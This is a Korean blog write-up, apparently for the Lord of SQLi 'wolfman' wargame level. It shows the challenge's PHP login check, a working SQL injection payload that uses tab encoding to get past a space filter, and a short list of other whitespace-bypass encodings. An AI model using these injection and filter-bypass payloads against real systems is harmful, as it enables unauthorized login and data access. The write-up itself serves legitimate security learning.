LoSi

5_LoSi_wolfman with whitespace 우회

duduranran 2022. 11. 23. 21:16

다섯 번째 문제 wolfman

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); 
  $query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("wolfman"); 
  highlight_file(__FILE__); 
?>

1. 식별과 인증이 동시에 이루어지고 있다.

2. 해결 방법은 ID : admin 으로 로그인을 하면 된다.

3. 필터링이 돼 이있는데 화이트스페이스(공백)이 필터링 돼 있다.

 

음 식별과 인증이 동시에 이루어지기 때문에 간단하다.

완성 쿼리 : where id='guest' and pw='' or id='admin'#'

URL에 붙여 : ?pw=' or id='admin'# (# = %23)

이렇게 쓰면된다. 하지만 위와같이 넣으면 "No whitespace ~_~" 라고 뜨면서 나를 놀린다.

아마 스페이스바로 공백을 입력한 부분 때문에 그런 듯한다.

방법은 'or' 양쪽의 스페이스바로 인한 공백 부분을 '%09'로 대체 하면 된다

정답 : ?pw='%09or%09id='admin'%23 

 위와 같이 입력하면 끝!

Clear!

WHITESPACE 란 무엇인가?
Tab, 줄바꿈 등 공백을 필터링하는 것
1. Tab : %09
  - no=1%09or%09id='admin'
2. Line Feed (\n): %0a
  - no=1%0aor%0aid='admin'
3. Carrage Return(\r) : %0d
  - no=1%0dor%0did='admin'
4. 주석 : /**/
  - no=1/**/or/**/id='admin'
5. 괄호 : ()
  - no=(1)or(id='admin')
6. 더하기 : +
  - no=1+or+id='admin'

 

'LoSi' 카테고리의 다른 글

7_LoSi_orge  (1) 2022.11.24
6_LoSi_darkelf  (0) 2022.11.23
4_LoSi_orc with addslashes() / substr()  (1) 2022.11.23
3_LoSi_goblin  (0) 2022.11.22
2_LoSi_cobolt  (0) 2022.11.22